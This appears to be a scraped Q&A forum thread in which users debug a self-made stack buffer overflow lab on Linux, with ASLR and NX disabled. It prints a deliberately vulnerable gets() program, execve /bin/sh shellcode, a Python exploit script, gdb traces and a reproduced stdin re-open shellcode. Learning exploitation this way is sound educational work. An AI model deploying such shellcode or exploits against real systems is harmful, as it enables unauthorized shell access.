I played around with buffer overflows on Linux (amd64) and tried exploiting a simple program, but it failed. I disabled the security features (address space layout randomization with sysctl -w kernel.randomize_va_space=0 and nx bit in the bios). It jumps to the stack and executes the shellcode, but it doesn't start a shell. The execve syscall succeeds but afterwards it just terminates. Any idea what's wrong? Running the shellcode standalone works just fine.
Bonus question: Why do I need to set rax to zero before calling printf? (See comment in the code)
Vulnerable file buffer.s:
.data
.fmtsp:
.string "Stackpointer %p\n"
.fmtjump:
.string "Jump to %p\n"
.text
.global main
main:
push %rbp
mov %rsp, %rbp
sub $120, %rsp
# calling printf without setting rax
# to zero results in a segfault. why?
xor %rax, %rax
mov %rsp, %rsi
mov $.fmtsp, %rdi
call printf
mov %rsp, %rdi
call gets
xor %rax, %rax
mov $.fmtjump, %rdi
mov 8(%rbp), %rsi
call printf
xor %rax, %rax
leave
ret
shellcode.s
.text
.global main
main:
mov $0x68732f6e69622fff, %rbx
shr $0x8, %rbx
push %rbx
mov %rsp, %rdi
xor %rsi, %rsi
xor %rdx, %rdx
xor %rax, %rax
add $0x3b, %rax
syscall
exploit.py
shellcode = "\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\x48\x83\xc0\x3b\x0f\x05"
stackpointer = "\x7f\xff\xff\xff\xe3\x28"
output = shellcode
output += 'a' * (120 - len(shellcode)) # fill buffer
output += 'b' * 8 # override stored base pointer
output += ''.join(reversed(stackpointer))
print output
Compiled with:
$ gcc -o buffer buffer.s
$ gcc -o shellcode shellcode.s
Started with:
$ python exploit.py | ./buffer
Stackpointer 0x7fffffffe328
Jump to 0x7fffffffe328
Debugging with gdb:
$ python exploit.py > exploit.txt (Note: corrected stackpointer address in exploit.py for gdb)
$ gdb buffer
(gdb) run < exploit.txt
Starting program: /home/henning/bo/buffer < exploit.txt
Stackpointer 0x7fffffffe308
Jump to 0x7fffffffe308
process 4185 is executing new program: /bin/dash
Program exited normally.
I'm having pretty much the same problem right now with Ubuntu 9.10 in a VM. Disabled all the security measurements of the OS, and simple exploits like "exit the program and set exit-code to 42" do work, but when trying to open a shell, the program just terminates. Output of gdb is identical:
(gdb) run < exploit.0xbffff3b8 Starting program: /home/seminar/ubung/target/client < exploit.0xbffff3b8 Enter password: Sorry. Wrong password. Executing new program: /bin/bash Program exited normally. (gdb)
Thing is, I need it working in approx. 16 hours for a presentation :-D
Update: I found this neat study: www.shell-storm.org/papers/files/539.pdf
On page 16 it says: "If we try to execute a shell, it terminates immediately in this configuration"
In other examples that don't use gets(), they do very well spawn a shell. Unfortunately, they don't give a hint on WHY it doesn't work that way. :(
Next Update: It seems it has to do with stdin. The shell cannot properly use the one it gets from the original process. I tried using a minimal shell I found the sourcecode for (evilsh). It crashed at the point where it tried to read input. My guess is, that bash/dash checks for this and just silently exits when something is wrong with stdin.
Ok please don't kill me for having this conversation with myself here, but...
I found a solution!
For some reason it is necessary to reopen the inputs. I found a working shellcode here:
http://www.milw0rm.com/shellcode/2040
I don't see a prompt tough, but I can run programs etc. using the shell that opens.
The link provided by Zenoc is dead, but can still be found in the Wayback machine. For convenience, I've reproduced it below. I had to include add $0x10,%esp
at the top to give me more stack space, as all the push
es in the code ate into the buffer where my shellcode was stored. If you'd like to include that to the shellcode too, just add "\x83\xc4\x10" to the start. The shellcode is 55 bytes without my addition, and 58 with.
/*
* $Id: gets-linux.c,v 1.3 2004/06/02 12:22:30 raptor Exp $
*
* gets-linux.c - stdin re-open shellcode for Linux/x86
* Copyright (c) 2003 Marco Ivaldi <[email protected]>
*
* Local shellcode for stdin re-open and /bin/sh exec. It closes stdin
* descriptor and re-opens /dev/tty, then does an execve() of /bin/sh.
* Useful to exploit some gets() buffer overflows in an elegant way...
*/
/*
* close(0)
*
* 8049380: 31 c0 xor %eax,%eax
* 8049382: 31 db xor %ebx,%ebx
* 8049384: b0 06 mov $0x6,%al
* 8049386: cd 80 int $0x80
*
* open("/dev/tty", O_RDWR | ...)
*
* 8049388: 53 push %ebx
* 8049389: 68 2f 74 74 79 push $0x7974742f
* 804938e: 68 2f 64 65 76 push $0x7665642f
* 8049393: 89 e3 mov %esp,%ebx
* 8049395: 31 c9 xor %ecx,%ecx
* 8049397: 66 b9 12 27 mov $0x2712,%cx
* 804939b: b0 05 mov $0x5,%al
* 804939d: cd 80 int $0x80
*
* execve("/bin/sh", ["/bin/sh"], NULL)
*
* 804939f: 31 c0 xor %eax,%eax
* 80493a1: 50 push %eax
* 80493a2: 68 2f 2f 73 68 push $0x68732f2f
* 80493a7: 68 2f 62 69 6e push $0x6e69622f
* 80493ac: 89 e3 mov %esp,%ebx
* 80493ae: 50 push %eax
* 80493af: 53 push %ebx
* 80493b0: 89 e1 mov %esp,%ecx
* 80493b2: 99 cltd
* 80493b3: b0 0b mov $0xb,%al
* 80493b5: cd 80 int $0x80
*/
char sc[] =
"\x31\xc0\x31\xdb\xb0\x06\xcd\x80"
"\x53\x68/tty\x68/dev\x89\xe3\x31\xc9\x66\xb9\x12\x27\xb0\x05\xcd\x80"
"\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80";
main()
{
int (*f)() = (int (*)())sc; f();
}
// milw0rm.com [2006-07-20]
Note: I couldn't add this as an edit to Zenoc's answer because the edit queue is full.
If you are having trouble pinpointing the address of your shellcode due to differing stacks in the terminal and gdb
, have a look at my answer here.
If you love us? You can donate to us via Paypal or buy me a coffee so we can maintain and grow! Thank you!
Donate Us With